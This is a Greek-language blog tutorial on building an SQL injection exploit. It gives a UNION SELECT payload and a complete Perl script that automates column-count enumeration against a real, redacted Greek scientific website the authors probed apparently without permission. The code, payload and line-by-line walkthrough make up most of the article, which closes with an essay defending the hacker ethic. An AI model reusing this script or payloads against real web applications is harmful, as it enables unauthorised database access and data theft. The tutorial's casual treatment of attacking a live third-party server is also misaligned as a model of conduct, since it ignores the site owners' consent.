Το προφίλ μας στο Google Plus
2

Οι αληθινοί χάκερ και τα exploit!

Πολλοί από τους χρήστες που ασχολούνται με τους υπολογιστές λίγο περισσότερο απ’ όσο ο Μέσος Παπαδόπουλος (TM), πιστεύουν ότι οι πραγματικοί χάκερ δεν ασχολούνται ούτε με defaces ούτε με καταλήψεις server (pwning). Μόνο σε ελάχιστες περιπτώσεις παρεκτρέπονται – κι αυτό μόνον όταν υπάρχει πολύ σοβαρός λόγος. Επίσης, ισχυρίζονται ότι οι πραγματικοί χάκερ σπάνια χρησιμοποιούν έτοιμα εργαλεία ή, καλύτερα, τα έτοιμα εργαλεία που χρησιμοποιούν δεν είναι περισσότερα σε πλήθος από τα δάχτυλα του ενός χεριού – άντε των δύο χεριών, αν θεωρήσουμε ως εργαλεία και τις γλώσσες προγραμματισμού! Μα, επιτέλους, με τι ασχολούνται οι «πραγματικοί» χάκερ;

Μα, νομίζουμε ότι η απάντηση είναι προφανής! Τέλος πάντων, όμως, ας την πούμε: Οι αληθινοί χάκερ ασχολούνται με την κατασκευή προγραμμάτων που κατά κάποιο τρόπο «αυτοματοποιούν» τις επιθέσεις, κάνοντας χρήση συγκεκριμένων αδυναμιών των εκάστοτε στόχων. Για όσους δεν κατάλαβαν ακόμα, μιλάμε για την κατασκευή των περίφημων exploits!

Το exploit είναι ένα πρόγραμμα –ή ακόμα και μια απλή εντολή– το οποίο εκμεταλλεύεται μια αδυναμία του συστήματος στο οποίο τρέχει και μας δίνει κάποια αποτελέσματα που κανονικά δεν θα έπρεπε να πάρουμε. Τέτοια αποτελέσματα μπορεί να είναι από το να δούμε τους κωδικούς και τα passwords των χρηστών ενός forum, μέχρι την κατάρρευση ολόκληρου του server ή τη διαγραφή όλων ή έστω των κρίσιμων αρχείων του! Τα exploits, λοιπόν, δεν είναι παιχνίδι. «Τότε γιατί τα φτιάχνουνε οι χάκερ αφού δεν είναι παιχνίδι;», θα μας ρωτήσετε εύλογα. Ο βασικός λόγος είναι για να αυτοματοποιούν χρονοβόρες και ίσως βαρετές διαδικασίες οι οποίες εφαρμόζονται όταν δοκιμάζουμε την αντοχή ενός συστήματος ως προς την ασφάλεια. Αν το υπό δοκιμή σύστημα δεν αντέξει, τότε λέμε ότι είναι exploitable. Ένας άλλος λόγος που κατασκευάζονται exploits είναι απλά για τη γνώση και το… μεράκι. Σαν αυτοσκοπός, ένα πράγμα, χωρίς να υπάρχει κάτι πονηρό ή κακό πίσω από αυτό. Έτσι απλά, σαν σπαζοκεφαλιά. Μη σας παραξενεύει αυτό. Οι χάκερ, όπως έχουμε ξαναπεί, είναι παράξενα πλάσματα και στο μυαλό τους το αίτιο και το αιτιατό δεν είναι πάντα ευδιάκριτα :)

Να αναφέρουμε ότι υπάρχουν εκατοντάδες –για να μην πούμε χιλιάδες– exploit που κυκλοφορούν στο διαδίκτυο. Μάλιστα υπάρχουν γνωστά site που έχουν μόνο τέτοια. Δεν είναι όμως ο σκοπός μας να σας δείξουμε που είναι τα όπλα, αλλά να σας μάθουμε να κατασκευάζετε τα δικά σας! Εντάξει, ένα άρθρο δεν είναι αρκετό για να διδάξει κάτι τέτοιο από την αρχή. Νομίζουμε όμως ότι δεν θα σας χαλάσει ιδιαίτερα να δείτε τον τρόπο ή τη μεθοδολογία κατασκευής, αν προτιμάτε. Ένα πράγμα πάντως να θυμάστε: Κάθε όπλο μπορεί να χρησιμοποιηθεί για καλό ή για κακό. Μην αρχίσετε ν’ αναρωτιέστε τι είναι κακό και τι καλό. Στη συγκεκριμένη περίπτωση δε χρειάζεται μεγάλη φιλοσοφική ανάλυση και νομίζουμε ότι όλοι καταλαβαίνουμε για τι πράγμα μιλάμε.

Ας έρθουμε όμως στο προκείμενο. Θα δείξουμε πώς κατασκευάζεται ένα exploit που κάνει χρήση της τεχνικής SQL Injection για να επιτεθεί σ’ έναν server. Θα αναφέρουμε πώς σκεφτόμαστε, πώς ξεκινάμε, τι θέλουμε να πετύχουμε και τελικά πώς το πετυχαίνουμε. Το exploit θα το γράψουμε στη γλώσσα Perl και θα το τρέξουμε από Windows Vista. Φυσικά το exploit μπορεί να εκτελεστεί από οποιοδήποτε λειτουργικό, αρκεί η Perl να διατίθεται γι’ αυτό. (Χάρη στην κοινότητα του Ανοικτού Λογισμικού, πρακτικά η Perl διατίθεται για κάθε OS.)

Βασικές έννοιες και στόχοι

Πριν ξεκινήσουμε το γράψιμο θα πρέπει να πούμε για ποιο λόγο μπαίνουμε στον κόπο να… γράψουμε! Οφείλουμε να καταλάβουμε την ανάγκη και γι’ αυτό πρώτα απ’ όλα κρίνεται απαραίτητο να πούμε μερικά πράγματα για την τεχνική της επίθεσης τύπου SQL Injection, καθώς και γιατί θα θέλαμε να την αυτοματοποιήσουμε. Κατά τη διάρκεια μιας επίθεσης SQL Injection δοκιμάζουμε ορισμένες εντολές SQL στον server-στόχο. Αν ο server ανταποκριθεί όπως περιμένουμε τότε λέμε ότι είναι vulnerable σε SQL Injection. Η διαδικασία όμως της επίθεσης δεν είναι πάντα απλή και πολλές φορές χρειάζεται ν’ αλλάζουμε κατ’ επανάληψη το πλήθος των παραμέτρων που περνάμε, μέχρι να δούμε ένα μήνυμα από τον server το οποίο θα μας δείχνει ότι πετύχαμε το σκοπό μας.

O server στον οποίο κάναμε τις δοκιμές μας φιλοξενεί ένα γνωστό ελληνικό site με επιστημονικό περιεχόμενο, οπότε θα μας επιτρέψετε να είμαστε ιδιαίτερα προσεκτικοί στις λεπτομέρειες που θα σας δείξουμε, αν μη τι άλλο προκειμένου ν’ αποφύγουμε ατυχήματα από τους ενθουσιώδεις "ερασιτέχνες" του χώρου ;)

Εντοπίσαμε, λοιπόν, μια αδυναμία SQL Injection στον server που φιλοξενεί το www.xxx.gr. Συγκεκριμένα, η αδυναμία εκδηλώνεται όταν καλείται το πρόγραμμα PHP με όνομα xxx και την παράμετρο id: www.xxx.gr/xxx.php?id=100. Δίνοντας στον server-θύμα την εξής, κακή εντολή SQL

www.xxx.gr/xxx.php?id=-1' union select 1 /*

παίρνουμε το λάθος φαίνεται στην παρακάτω εικόνα (μην σας μπερδεύουν τα %20 στο URL. Για τον server σημαίνει απλά το κενό.)

Με την κατάλληλη εντολή SQL, ο απομακρυσμένος server μας απαντά ότι δεν δώσαμε το σωστό πλήθος στηλών.

Ας αναλύσουμε λίγο την εντολή που προσθέσαμε στο URL, δηλαδή το τμήμα ’ union select 1 /*.
Το -1 σημαίνει ότι κανονικά ο server δεν θα επιστρέψει κανένα αποτέλεσμα, αφού εγγραφές με id=-1 διαπιστώσαμε ότι δεν υπάρχουν (δίνοντας, απλά, www.xxx.gr/xxx.php?id=-1). Επίσης, το ένα (απλό) εισαγωγικό δίνει στο server να καταλάβει το τέλος της απόδοσης τιμής για την παράμετρο id. Αμέσως μετά δίνουμε ένα Union select 1. Αυτό θα συνενωθεί με την αρχική εντολή Select του server και θα μας επιστρέψει την τιμή 1 (αν όλα πάνε καλά). Το /* είναι σχόλιο για την MySQL, που σημαίνει ότι οτιδήποτε ακολουθεί την εντολή αυτή θα αγνοηθεί, οπότε αν υπάρχουν κι άλλες εντολές που εκτελούνται (εσωτερικά) απ’ το πρόγραμμα xxx.php θα αγνοηθούν. Παρ’ όλη την προσπάθεια, o server μάς απαντά με το μήνυμα λάθους Query failed: The used SELECT statements have a different number of columns. Χμ, το λάθος αυτό σημαίνει ότι η εντολή που δώσαμε πέρασε στον server εκτελέστηκε και απλά επέστρεψε μήνυμα λάθους, ότι δηλαδή το πλήθος των στηλών που δώσαμε για να εμφανίσουμε δεν είναι σωστό. Δηλαδή το μέρος της εντολής select 1 απαιτεί περισσότερες στήλες, π.χ., κάτι σαν select 1,1,1,1…, άλλα δεν ξέρουμε πόσες…

Ένας τρόπος για να συνεχίσουμε είναι ν’ αρχίσουμε να δοκιμάζουμε μέχρι να πάρουμε κάποιο λάθος διαφορετικό από το «…different number of columns» ή να πάρουμε ένα… αποτέλεσμα! Δεν θα ήταν καλύτερα να φτιάξουμε ένα πολύ απλό προγραμματάκι, το οποίο θα δοκιμάζει μόνο του τα 1,1,… μέχρι να πάρει κάποιο αποτέλεσμα που να μην περιέχει τις λέξεις «different number»; Μόλις βρήκαμε ένα άλλοθι για την κατασκευή προγράμματος μας! Όπως είπαμε στην αρχή, η γλώσσα που θα χρησιμοποιήσουμε θα είναι η Perl. Οι λόγοι που μας οδήγησαν στην επιλογή της ξεφεύγουν από τους σκοπούς τους παρόντος άρθρου. Αν όμως επιμένετε, θα σας αναφέρουμε τον κυριότερο: Αυτή γνωρίζουμε κι αυτή έχουμε συνηθίσει ;-)

Το πρόγραμμα

Ο κώδικας του προγράμματος μας (που το βαπτίσαμε go.pl) είναι ο παρακάτω:

# c:\perl\bin\perl.exe go.pl
#
#
use LWP::UserAgent; 
#
#
if (@ARGV != 3){
	print "**\n";
	print "** Syntax: go \"<URL> union select 1 from <table>\" Iterations \"Server Error String\"\n" ;
	print "**";
	exit;
}
$ua = new LWP::UserAgent; 
$ua->agent("Mozilla/8.0"); 
$ua = LWP::UserAgent->new; 

$theUrl = $ARGV[0];
$iterations = $ARGV[1] + 1;
$sstring = $ARGV[2];

for ($count=1; $count < $iterations; $count++)
{
		my $req = HTTP::Request->new(GET => $theUrl); 
		$req->header('Accept' => 'text/html'); 
		$res = $ua->request($req); 
		$con = $res->content; 
		if (rindex($con, $sstring)  != -1 ){
			print "Fail at $count/$ARGV[1]. \n";
			$newUrl = $theUrl;
			$newUrl =~ s/select 1/select 1,1,XYMA/;
			$newUrl =~ s/1,XYMA/1/;
			$theUrl = $newUrl;
    	            sleep(1);	
		} 
		else{
			print "*********** YES: Succeed at $count!! \n";
			print "URL:\n $theUrl \n";
			last; 
		}
}

Το πρόγραμμα, όπως κάθε σοβαρό πρόγραμμα, εκτελείται από Command Prompt και δέχεται τρεις παραμέτρους:

  1. Το URL του server-στόχου
  2. Ένας αριθμός που δηλώνει πόσα «1» θα δοκιμάσουμε στο select
  3. Το string το οποίο αν το πρόγραμμα πάρει ως απάντηση από τον server θα συνεχίσει τις προσπάθειες
Ας αναλύσουμε λίγο το πρόγραμμά μας
  • Γραμμές 1-12: Εδώ απλά δίνουμε το όνομα του προγράμματος καθώς και τι θα επιστρέψει σε περίπτωση λανθασμένης σύνταξης (π.χ., λανθασμένο πλήθος παραμέτρων).
  • Γραμμές 13-15: Ορίζουμε τον user agent. Δηλαδή εδώ δηλώνουμε στον server από ποιόν web browser καλέσαμε το URL. Φυσικά εδώ λέμε ένα μικρό ψεματάκι στον server, αφού δεν είμαστε σε κανέναν browser, αλλά δεν πειράζει… Φανταζόμαστε ότι ο server δεν θα ήτανε και πολύ χαρούμενος αν καταλάβαινε ότι πρόκειται για επίθεση από κάποιο exploit ;-)
  • Γραμμές 17-19: Εδώ καταχωρούμε τις τρεις παραμέτρους που έδωσε ο χρήστης (και αναφέραμε παραπάνω) σε τρεις μεταβλητές του προγράμματος, έτσι ώστε να τις χρησιμοποιήσουμε αργότερα.
  • Γραμμές 21-40: Ο κύριος «κορμός» του προγράμματος. Ξεκινά με μια επαναληπτική διαδικασία που εκτελείται όσες φορές δηλώνει η 2η παράμερος που περνάει ο χρήστης στο πρόγραμμα.
  • Γραμμές 23-24: Ορίζουμε τα HTTP headers, ώστε να μπορέσουμε να εκτελέσουμε την κλήση στο URL. Οι HTTP headers είναι μεταβλητές (ας μας επιτραπεί η έκφραση) στις οποίες δίνοντας συγκεκριμένες τιμές ξεκινά η επικοινωνία μας μ’ έναν server με βάση το πρωτόκολλο HTTP.
  • Γραμμές 25-26: Στην 25η γραμμή εκτελείται η κλήση στο URL που έδωσε ο χρήστης (στην παράμετρο 1) και στην 26η καταχωρείται, στη μεταβλητή $con, η απάντηση (response) του server.
  • Γραμμές 27-34: Εδώ ελέγχουμε αν ο server απάντησε με λάθος, δηλαδή κοιτάμε αν η απάντηση του server περιέχει τη σειρά χαρακτήρων που έδωσε ο χρήστης με την τρίτη παράμετρο. Αν συμβαίνει αυτό τότε απλά αυξάνουμε το πλήθος των άσσων στην εντολή select κατά ένα. Μη σας μπερδέψει το string ΧΥΜΑ. Θα μπορούσε να είναι οτιδήποτε άλλο. Χρησιμοποιείται απλά για να δηλώσει το σημείο τερματισμού της σειράς χαρακτήρων της μεταβλητής $newURL, έτσι ώστε να γίνει σωστή αντικατάσταση του “select 1” από το “select 1,1”. Δώστε βάση, επίσης, στην εντολή της γραμμής 33: sleep(1). Εδώ λέμε στο πρόγραμμα να περιμένει για ένα δευτερόλεπτο πριν προχωρήσει στις επόμενες εντολές. Αν δεν το κάναμε αυτό τότε ο server θα δεχόταν έναν καταιγισμό από αιτήματα προς ικανοποίηση. Οι συνέπειες μιας παρόμοιας συμπεριφοράς πιθανόν να είναι δυσάρεστες. Η πιο συνηθισμένη είναι ο server να θεωρήσει πως δέχεται μια επίθεση DoS (Denial of Service) από το συγκεκριμένο IP (το δικό μας) και να μας μπλοκάρει. Υπάρχει βέβαια και η περίπτωση (αρκετά πιο σπάνια όμως) η επίθεση αυτή να καταστήσει τον server ανίκανο να εξυπηρετήσει άλλα αιτήματα πελατών, με αποτέλεσμα να μην μπορεί να ανταποκριθεί για κανέναν. Πάντως σε κάθε περίπτωση η καθυστέρηση που εισάγουμε στη γραμμή 33 αποτρέπει τέτοιες καταστάσεις.
  • Γραμμές 36-38: Αν φτάσουμε εδώ σημαίνει ότι έχουμε πετύχει τον σκοπό μας, δηλαδή ότι ο server απάντησε κάτι διαφορετικό από το λάθος που έβγαζε μέχρι τώρα. Εμφανίζουμε στην οθόνη την πετυχημένη προσπάθεια και βγαίνουμε από το loop me την εντολή last (γραμμή 38).
Εκτέλεση

Τι περιμένουμε λοιπόν; Ας τρέξουμε το πρόγραμμά μας με τις κατάλληλες παραμέτρους. Τα αποτελέσματα φαίνονται στην παρακάτω εικόνα.

Τα αποτελέσματα της εκτέλεσης του απλού προγράμματος που φτιάξαμε

Βλέπουμε ότι το πρόγραμμα βρήκε το URL που δεν επιστρέφει λάθος (τουλάχιστον όχι το «…different number of columns»). Ας δώσουμε το URL κατευθείαν στον Firefox για να δούμε τα αποτελέσματα (επόμενη εικόνα). Πολύ καλά! Εμφανίσαμε τον αριθμό 1 μέσα από SQL Injection, που ήτανε και ο αρχικός στόχος μας. Φυσικά, το γεγονός αυτό από μόνο του δεν αποτελεί κάποιο σπουδαίο σπάσιμο της ασφάλειας του server, αποτελεί, όμως, μια ανοιχτή κερκόπορτα ή έστω μια μικρή πληγή. Όπως έλεγε κι ένα παλιό διαφημιστικό slogan, μια μικρή πληγή είναι μια μεγάλη πόρτα για τα μικρόβια ;-)

Η επιτυχημένη εκτέλεση ενός SQL Injection. Πώς είπατε; Το αποτέλεσμα δεν δείχνει καθόλου εντυπωσιακό; Χμ, θα μας επιτρέψετε να διαφωνήσουμε και να σημειώσουμε μόνο ότι "τα φαινόμενα απατούν" :-) (<-- πονηρό χαμογελάκι που κανένα smiley δεν μπορεί να αποδώσει)

Συμπέρασμα

Η διαδικασία εύρεσης αδυναμιών σε συστήματα, καθώς και η δημιουργία προγραμμάτων που αναλαμβάνουν την αναζήτηση, δεν γίνεται για λόγους εκδίκησης, μαγκιάς, καταστροφής ή κλοπής. Οι έννοιες αυτές δεν έχουν απολύτως καμιά σχέση με τη λέξη "χάκερ". Σε αντίθεση και σε πείσμα των περισσότερων μέσων ενημέρωσης –και δυστυχώς πρόσφατα και του διαφημιστικού χώρου–, εμείς θα φωνάζουμε ότι ο χάκερ δεν είναι ούτε «ζώο που ζει στον ιστό», ούτε εκβιαστής, ούτε απατεώνας, ούτε κλέφτης όπως θέλουν κάποιοι να τον εμφανίζουν. Ξέρετε, αυτοί που είτε από άγνοια είτε επειδή ήθελαν να δώσουν ένα όνομα στην ηλεκτρονική βρωμιά, και βρήκαν ότι αυτό το όνομα βολεύει ή πουλάει.

Η κατασκευή των exploit δεν έχει ως στόχο το «πώς να χαλάσετε κάτι» αλλά το «πώς να μην το χαλάσετε» ή καλύτερα το «πώς να αποφύγετε να το χαλάσει κάποιος άλλος». Ευτυχώς, για τους πραγματικά ψαγμένους αυτό είναι προφανές. Το ότι έχουμε την ευκαιρία να μοιραζόμαστε αυτή τη γνώση μαζί με άλλους, είναι μια παρηγοριά. Τουλάχιστον εσείς το γνωρίζετε καλά και την επόμενη φορά που θ’ ακούσετε κάποια βαρύγδουπη είδηση του στιλ «χάκερ εκβίασαν…», «χάκερ απείλησαν…», «χάκερ λήστεψαν…» κ.λπ., χαμογελάστε συγκαταβατικά κι αφήστε τους να νομίζουν ότι ξεσκέπασαν τους χάκερ! Εντελώς μεταξύ μας, αυτό που θα κάνετε είναι ότι θα τους αφήσετε να… βουρλίζονται :)

2 Responses to “Οι αληθινοί χάκερ και τα exploit!”

  1. ^^TnT^^ | 20/11/2011 at 12:35

    Kαλό :) ευχαριστώ πολύ !

  2. theef | 30/11/2011 at 23:53

    Thiseas τα άρθρα σου γράφουν!!!!

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων